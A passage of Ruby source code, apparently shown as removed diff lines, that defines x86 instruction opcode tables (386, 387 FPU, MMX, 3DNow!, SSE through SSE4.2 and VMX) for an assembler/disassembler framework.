@fields_mask[:modrmA] = @fields_mask[:modrm] - - @valid_args.concat [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, - :seg3, :seg3A, :eeec, :eeed, :modrm, :modrmA, :mrm_imm, - :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, - :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, - :modrmxmm, :regxmm] - @valid_args - - @valid_props.concat [:strop, :stropz, :opsz, :argsz, :setip, - :stopexec, :saveip, :unsigned_imm, :random, :needpfx, - :xmmx] - @valid_props - end - - # only most common instructions from the 386 instruction set - # inexhaustive list : - # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... - def init_386_common_only - init_cpu_constants - - addop_macro1 'adc', 2 - addop_macro1 'add', 0 - addop_macro1 'and', 4, :u - addop 'bswap', [0x0F, 0xC8], :reg - addop 'call', [0xE8], nil, {}, :stopexec, :setip, :i, :saveip - addop 'call', [0xFF], 2, {}, :stopexec, :setip, :saveip - addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } - addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } - addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } - addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } - addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } - addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } - addop_macro1 'cmp', 7 - addop_macrostr 'cmps', [0xA6], :stropz - addop 'dec', [0x48], :reg - addop 'dec', [0xFE], 1, {:w => [0, 0]} - addop 'div', [0xF6], 6, {:w => [0, 0]} - addop 'enter', [0xC8], nil, {}, :u16, :u8 - addop 'idiv', [0xF6], 7, {:w => [0, 0]} - addop 'imul', [0xF6], 5, {:w => [0, 0]}, :reg_eax - addop 'imul', [0x0F, 0xAF], :mrm - addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i - addop 'inc', [0x40], :reg - addop 'inc', [0xFE], 0, {:w => [0, 0]} - addop 'int', [0xCC], nil, {}, :imm_val3, :stopexec - addop 'int', [0xCD], nil, {}, :u8 - addop_macrotttn 'j', [0x70], nil, {}, :setip, :i8 - addop_macrotttn 'j', [0x0F, 0x80], nil, {}, :setip, :i - addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec - addop 'jmp', [0xFF], 4, {}, :setip, :stopexec - addop 'lea', [0x8D], :mrmA - addop 'leave', [0xC9] - addop_macrostr 'lods', [0xAC], :strop - addop 'loop', [0xE2], nil, {}, :setip, :i8 - addop 'loopz', [0xE1], nil, {}, :setip, :i8 - addop 'loope', [0xE1], nil, {}, :setip, :i8 - addop 'loopnz',[0xE0], nil, {}, :setip, :i8 - addop 'loopne',[0xE0], nil, {}, :setip, :i8 - addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :mrm_imm, :reg_eax - addop 'mov', [0x88], :mrmw,{:d => [0, 1]} - addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :u - addop 'mov', [0xC6], 0, {:w => [0, 0]}, :u - addop_macrostr 'movs', [0xA4], :strop - addop 'movsx', [0x0F, 0xBE], :mrmw - addop 'movzx', [0x0F, 0xB6], :mrmw - addop 'mul', [0xF6], 4, {:w => [0, 0]} - addop 'neg', [0xF6], 3, {:w => [0, 0]} - addop 'nop', [0x90] - addop 'not', [0xF6], 2, {:w => [0, 0]} - addop_macro1 'or', 1, :u - addop 'pop', [0x58], :reg - addop 'pop', [0x8F], 0 - addop 'push', [0x50], :reg - addop 'push', [0xFF], 6 - addop 'push', [0x68], nil, {:s => [0, 1]}, :u - addop 'ret', [0xC3], nil, {}, :stopexec, :setip - addop 'ret', [0xC2], nil, {}, :stopexec, :u16, :setip - addop_macro3 'rol', 0 - addop_macro3 'ror', 1 - addop_macro3 'sar', 7 - addop_macro1 'sbb', 3 - addop_macrostr 'scas', [0xAE], :stropz - addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } - addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused - addop_macro3 'shl', 4 - addop_macro3 'sal', 6 - addop 'shld', [0x0F, 0xA4], :mrm, {}, :u8 - addop 'shld', [0x0F, 0xA5], :mrm, {}, :reg_cl - addop_macro3 'shr', 5 - addop 'shrd', [0x0F, 0xAC], :mrm, {}, :u8 - addop 'shrd', [0x0F, 0xAD], :mrm, {}, :reg_cl - addop_macrostr 'stos', [0xAA], :strop - addop_macro1 'sub', 5 - addop 'test', [0x84], :mrmw - addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :u - addop 'test', [0xF6], 0, {:w => [0, 0]}, :u - addop 'xchg', [0x90], :reg, {}, :reg_eax - addop('xchg', [0x90], :reg, {}, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) - addop 'xchg', [0x86], :mrmw - addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } - addop_macro1 'xor', 6, :u - end - - def init_386_only - init_cpu_constants - - addop 'aaa', [0x37] - addop 'aad', [0xD5, 0x0A] - addop 'aam', [0xD4, 0x0A] - addop 'aas', [0x3F] - addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } - addop 'bound', [0x62], :mrmA - addop 'bsf', [0x0F, 0xBC], :mrm - addop 'bsr', [0x0F, 0xBD], :mrm - addop_macro2 'bt' , 0 - addop_macro2 'btc', 3 - addop_macro2 'btr', 2 - addop_macro2 'bts', 1 - addop 'call', [0x9A], nil, {}, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0x9A], nil, {}, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0xFF], 3, {}, :stopexec, :setip, :saveip - addop 'clc', [0xF8] - addop 'cld', [0xFC] - addop 'cli', [0xFA] - addop 'clts', [0x0F, 0x06] - addop 'cmc', [0xF5] - addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } - addop 'cpuid', [0x0F, 0xA2] - addop 'daa', [0x27] - addop 'das', [0x2F] - addop 'hlt', [0xF4], nil, {}, :stopexec - addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax - addop 'in', [0xEC], nil, {:w => [0, 0]} - addop_macrostr 'ins', [0x6C], :strop - addop 'into', [0xCE] - addop 'invd', [0x0F, 0x08] - addop 'invlpg',[0x0F, 0x01, 7<<3], :modrmA - addop 'iret', [0xCF], nil, {}, :stopexec, :setip - addop 'iretd', [0xCF], nil, {}, :stopexec, :setip - addop('jcxz', [0xE3], nil, {}, :setip, :i8) { |o| o.props[:opsz] = 16 } - addop('jecxz', [0xE3], nil, {}, :setip, :i8) { |o| o.props[:opsz] = 32 } - addop 'jmp', [0xEA], nil, {}, :farptr, :setip, :stopexec - addop 'jmpf', [0xEA], nil, {}, :farptr, :setip, :stopexec - addop 'jmpf', [0xFF], 5, {}, :stopexec, :setip # reg ? - addop 'lahf', [0x9F] - addop 'lar', [0x0F, 0x02], :mrm - addop 'lds', [0xC5], :mrmA - addop 'les', [0xC4], :mrmA - addop 'lfs', [0x0F, 0xB4], :mrmA - addop 'lgs', [0x0F, 0xB5], :mrmA - addop 'lgdt', [0x0F, 0x01], 2 - addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA - addop 'lldt', [0x0F, 0x00], 2 - addop 'lmsw', [0x0F, 0x01], 6 -# prefix addop 'lock', [0xF0] - addop 'lsl', [0x0F, 0x03], :mrm - addop 'lss', [0x0F, 0xB2], :mrmA - addop 'ltr', [0x0F, 0x00], 3 - addop('mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec) { |op| op.args.reverse! } - addop('mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed) { |op| op.args.reverse! } - addop('mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3) { |op| op.args.reverse! } - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax - addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments - addop 'out', [0xEE], nil, {:w => [0, 0]} - addop_macrostr 'outs', [0x6E], :strop - addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A - addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A - addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } - addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } - addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } - addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } - addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 - addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A - addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } - addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } - addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } - addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } - addop_macro3 'rcl', 2 - addop_macro3 'rcr', 3 - addop 'rdmsr', [0x0F, 0x32] - addop 'rdpmc', [0x0F, 0x33] - addop 'rdtsc', [0x0F, 0x31], nil, {}, :random - addop 'retf', [0xCB], nil, {}, :stopexec, :setip - addop 'retf', [0xCA], nil, {}, :stopexec, :u16, :setip - addop 'rsm', [0x0F, 0xAA], nil, {}, :stopexec - addop 'sahf', [0x9E] - addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA - addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA - addop 'sldt', [0x0F, 0x00], 0 - addop 'smsw', [0x0F, 0x01], 4 - addop 'stc', [0xF9] - addop 'std', [0xFD] - addop 'sti', [0xFB] - addop 'str', [0x0F, 0x00], 1 - addop 'ud2', [0x0F, 0x0B] - addop 'verr', [0x0F, 0x00], 4 - addop 'verw', [0x0F, 0x00], 5 - addop 'wait', [0x9B] - addop 'wbinvd',[0x0F, 0x09] - addop 'wrmsr', [0x0F, 0x30] - addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } - addop 'xlat', [0xD7] - -# pfx: addrsz = 0x67, lock = 0xf0, opsz = 0x66, repnz = 0xf2, rep/repz = 0xf3 -# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 - # undocumented opcodes - # TODO put these in the right place (486/P6/...) - addop 'aam', [0xD4], nil, {}, :u8 - addop 'aad', [0xD5], nil, {}, :u8 - addop 'setalc', [0xD6] - addop 'salc', [0xD6] - addop 'icebp', [0xF1] - #addop 'loadall',[0x0F, 0x07] # conflict with syscall - addop 'ud2', [0x0F, 0xB9] - addop 'umov', [0x0F, 0x10], :mrmw,{:d => [1, 1]} - end - - def init_387_only - init_cpu_constants - - addop 'f2xm1', [0xD9, 0xF0] - addop 'fabs', [0xD9, 0xE1] - addop_macrofpu1 'fadd', 0 - addop 'faddp', [0xDE, 0xC0], :regfp - addop 'faddp', [0xDE, 0xC1] - addop('fbld', [0xDF, 4<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop('fbstp', [0xDF, 6<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fchs', [0xD9, 0xE0], nil, {}, :regfp0 - addop 'fnclex', [0xDB, 0xE2] - addop_macrofpu1 'fcom', 2 - addop_macrofpu1 'fcomp', 3 - addop 'fcompp',[0xDE, 0xD9] - addop 'fcomip',[0xDF, 0xF0], :regfp - addop 'fcos', [0xD9, 0xFF], nil, {}, :regfp0 - addop 'fdecstp', [0xD9, 0xF6] - addop_macrofpu1 'fdiv', 6 - addop_macrofpu1 'fdivr', 7 - addop 'fdivp', [0xDE, 0xF8], :regfp - addop 'fdivp', [0xDE, 0xF9] - addop 'fdivrp',[0xDE, 0xF0], :regfp - addop 'fdivrp',[0xDE, 0xF1] - addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp - addop_macrofpu2 'fiadd', 0 - addop_macrofpu2 'fimul', 1 - addop_macrofpu2 'ficom', 2 - addop_macrofpu2 'ficomp',3 - addop_macrofpu2 'fisub', 4 - addop_macrofpu2 'fisubr',5 - addop_macrofpu2 'fidiv', 6 - addop_macrofpu2 'fidivr',7 - addop 'fincstp', [0xD9, 0xF7] - addop 'fninit', [0xDB, 0xE3] - addop_macrofpu2 'fist', 2, 1 - addop_macrofpu3 'fild', 0 - addop_macrofpu3 'fistp',3 - addop('fld', [0xD9, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fld', [0xDD, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fld', [0xDB, 5<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fld', [0xD9, 0xC0], :regfp - - addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fldenv', [0xD9, 4<<3], :modrmA - addop 'fld1', [0xD9, 0xE8] - addop 'fldl2t', [0xD9, 0xE9] - addop 'fldl2e', [0xD9, 0xEA] - addop 'fldpi', [0xD9, 0xEB] - addop 'fldlg2', [0xD9, 0xEC] - addop 'fldln2', [0xD9, 0xED] - addop 'fldz', [0xD9, 0xEE] - addop_macrofpu1 'fmul', 1 - addop 'fmulp', [0xDE, 0xC8], :regfp - addop 'fmulp', [0xDE, 0xC9] - addop 'fnop', [0xD9, 0xD0] - addop 'fpatan', [0xD9, 0xF3] - addop 'fprem', [0xD9, 0xF8] - addop 'fprem1', [0xD9, 0xF5] - addop 'fptan', [0xD9, 0xF2] - addop 'frndint',[0xD9, 0xFC] - addop 'frstor', [0xDD, 4<<3], :modrmA - addop 'fnsave', [0xDD, 6<<3], :modrmA - addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fnstenv',[0xD9, 6<<3], :modrmA - addop 'fnstsw', [0xDF, 0xE0] - addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fscale', [0xD9, 0xFD] - addop 'fsin', [0xD9, 0xFE] - addop 'fsincos',[0xD9, 0xFB] - addop 'fsqrt', [0xD9, 0xFA] - addop('fst', [0xD9, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fst', [0xDD, 2<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop 'fst', [0xD9, 0xD0], :regfp - addop('fstp', [0xD9, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fstp', [0xDD, 3<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fstp', [0xDB, 7<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fstp', [0xDD, 0xD8], :regfp - addop_macrofpu1 'fsub', 4 - addop 'fsubp', [0xDE, 0xE8], :regfp - addop 'fsubp', [0xDE, 0xE9] - addop_macrofpu1 'fsubp', 5 - addop 'fsubrp', [0xDE, 0xE0], :regfp - addop 'fsubrp', [0xDE, 0xE1] - addop 'ftst', [0xD9, 0xE4] - addop 'fucom', [0xDD, 0xE0], :regfp - addop 'fucomp', [0xDD, 0xE8], :regfp - addop 'fucompp',[0xDA, 0xE9] - addop 'fucomi', [0xDB, 0xE8], :regfp - addop 'fxam', [0xD9, 0xE5] - addop 'fxch', [0xD9, 0xC8], :regfp - addop 'fxtract',[0xD9, 0xF4] - addop 'fyl2x', [0xD9, 0xF1] - addop 'fyl2xp1',[0xD9, 0xF9] - # fwait prefix - addop 'fclex', [0x9B, 0xDB, 0xE2] - addop 'finit', [0x9B, 0xDB, 0xE3] - addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA - addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA - addop 'fstsw', [0x9B, 0xDF, 0xE0] - addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fwait', [0x9B] - end - - def init_486_only - init_cpu_constants - # TODO add new segments (fs/gs) ? - end - - def init_pentium_only - init_cpu_constants - - addop 'cmpxchg8b', [0x0F, 0xC7], 1 - # lock cmpxchg8b eax - #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] - - # mmx - addop 'emms', [0x0F, 0x77] - addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmmmx)] = :modrm ; o.args.reverse! } - addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.args.reverse! } - addop 'packssdw', [0x0F, 0x6B], :mrmmmx - addop 'packsswb', [0x0F, 0x63], :mrmmmx - addop 'packuswb', [0x0F, 0x67], :mrmmmx - addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx - addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx - addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx - addop 'pand', [0x0F, 0xDB], :mrmmmx - addop 'pandn', [0x0F, 0xDF], :mrmmmx - addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx - addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx - addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx - addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx - addop 'pmulhw',[0x0F, 0xE5], :mrmmmx - addop 'pmullw',[0x0F, 0xD5], :mrmmmx - addop 'por', [0x0F, 0xEB], :mrmmmx - addop_macrommx 1..3, 'psll', 3 - addop_macrommx 1..2, 'psra', 2 - addop_macrommx 1..3, 'psrl', 1 - addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx - addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx - addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx - addop_macrogg 1..3, 'punchkh', [0x0F, 0x68], :mrmmmx - addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx - addop 'pxor', [0x0F, 0xEF], :mrmmmx - end - - def init_p6_only - addop_macrotttn 'cmov', [0x0F, 0x40], :mrm - - %w{b e be u}.each_with_index { |tt, i| - addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp - addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp - } - addop 'fcomi', [0xDB, 0xF0], :regfp - addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop 'sysenter',[0x0F, 0x34] - addop 'sysexit', [0x0F, 0x35] - - addop 'syscall', [0x0F, 0x05] # AMD - addop 'sysret', [0x0F, 0x07] # AMD - end - - def init_3dnow_only - init_cpu_constants - - [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A], - ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], - ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], - ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], - ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], - ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], - ['pmulhrw', 0xB7]].each { |str, bin| - addop str, [0x0F, 0x0F, bin], :mrmmmx - } - # 3dnow prefix fallback - addop '3dnow', [0x0F, 0x0F], :mrmmmx, {}, :u8 - - addop 'femms', [0x0F, 0x0E] - addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA - addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA - end - - def init_sse_only - init_cpu_constants - - addop_macrossps 'addps', [0x0F, 0xA8], :mrmxmm - addop 'andnps', [0x0F, 0xAA], :mrmxmm - addop 'andps', [0x0F, 0xA4], :mrmxmm - addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm - addop 'comiss', [0x0F, 0x2F], :mrmxmm - - [['pi2ps', 0x2A], ['ps2pi', 0x2D], ['tps2pi', 0x2C]].each { |str, bin| - addop('cvt' << str, [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } - addop('cvt' << str.tr('p', 's'), [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } - } - - addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm - addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA - addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm - addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm - addop('movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.args.reverse! } - addop('movd', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.args.reverse! ; o.props[:needpfx] = 0x66 } - addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } - - # movhlps(reg, reg){nomem} == movlps(reg, mrm){no restriction}... - addop 'movhlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]} - addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]} - addop 'movlhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]} - addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]} - - addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg - addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } - addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} - addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm - addop 'orps', [0x0F, 0x56], :mrmxmm - addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm - addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm - addop 'shufps', [0x0F, 0xC6], :mrmxmm, {}, :u8 - addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm - addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA - addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm - addop 'ucomiss', [0x0F, 0x2E], :mrmxmm - addop 'unpckhps',[0x0F, 0x15], :mrmxmm - addop 'unpcklps',[0x0F, 0x14], :mrmxmm - addop 'xorps', [0x0F, 0x57], :mrmxmm - - # start of integer instruction (accept opsz override prefix to access xmm) - addop('pavgb', [0x0F, 0xE0], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pavgw', [0x0F, 0xE3], :mrmmmx) { |o| o.props[:xmmx] = true } -# TODO addop('pextrw', [0x0F, 0xC5], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 } -# addop('pinsrw', [0x0F, 0xC4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 } - addop('pmaxsw', [0x0F, 0xEE], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pmaxub', [0x0F, 0xDE], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pminsw', [0x0F, 0xEA], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pminub', [0x0F, 0xDA], :mrmmmx) { |o| o.props[:xmmx] = true } -# addop('pmovmskb',[0x0F, 0xD4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } ) { |o| o.props[:xmmx] = true } # no mem ref in the mrm - addop('pmulhuw', [0x0F, 0xE4], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('psadbw', [0x0F, 0xF6], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pshufw', [0x0F, 0x70], :mrmmmx) { |o| o.props[:xmmx] = true ; o.args << :u8 } - addop('maskmovq',[0x0F, 0xF7], :mrmmmx) { |o| o.props[:xmmx] = true } # nomem - addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.props[:xmmx] = true } - addop 'movntps', [0x0F, 0x2B], :mrmxmm - addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA - addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA - addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA - addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA - addop 'sfence', [0x0F, 0xAE, 0xF8] - end - - # XXX must be done after init_sse (patches :regmmx opcodes) - # TODO complete the list - def init_sse2_only - init_cpu_constants - - @opcode_list.each { |o| o.props[:xmmx] = true if o.args.include? :regmmx and o.args.include? :modrmmmx } - - # TODO <..blabla...integer...blabla..> - - # nomem - addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } - addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop 'movnti', [0x0F, 0xC3], :mrm - addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } - addop 'lfence', [0x0F, 0xAE, 0xE8] - addop 'mfence', [0x0F, 0xAE, 0xF0] - end - - def init_sse3_only - init_cpu_constants - - addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - - addop 'monitor', [0x0F, 0x01, 0xC8] - addop 'mwait', [0x0F, 0x01, 0xC9] - - addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } - addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('lddqu', [0x0F, 0xF0], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmA ; o.props[:needpfx] = 0xF2 } - addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - def init_vmx_only - init_cpu_constants - - addop 'vmcall', [0x0F, 0x01, 0xC1] - addop 'vmlaunch', [0x0F, 0x01, 0xC2] - addop 'vmresume', [0x0F, 0x01, 0xC3] - addop 'vmxoff', [0x0F, 0x01, 0xC4] - addop 'vmread', [0x0F, 0x78], :mrm - addop 'vmwrite', [0x0F, 0x79], :mrm - addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } - addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } - addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } - - addop 'getsec', [0x0F, 0x37] - - addop('movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] }) { |o| o.args.reverse! } - addop 'xgetbv', [0x0F, 0x01, 0xD0] - addop 'xsetbv', [0x0F, 0x01, 0xD1] - addop 'rdtscp', [0x0F, 0x01, 0xF9] - addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA - addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA - addop 'nop', [0x0F, 0x1F], 0 # which family does this belong to ? - end - - def init_sse42_only - init_cpu_constants - - addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } - addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, {}, 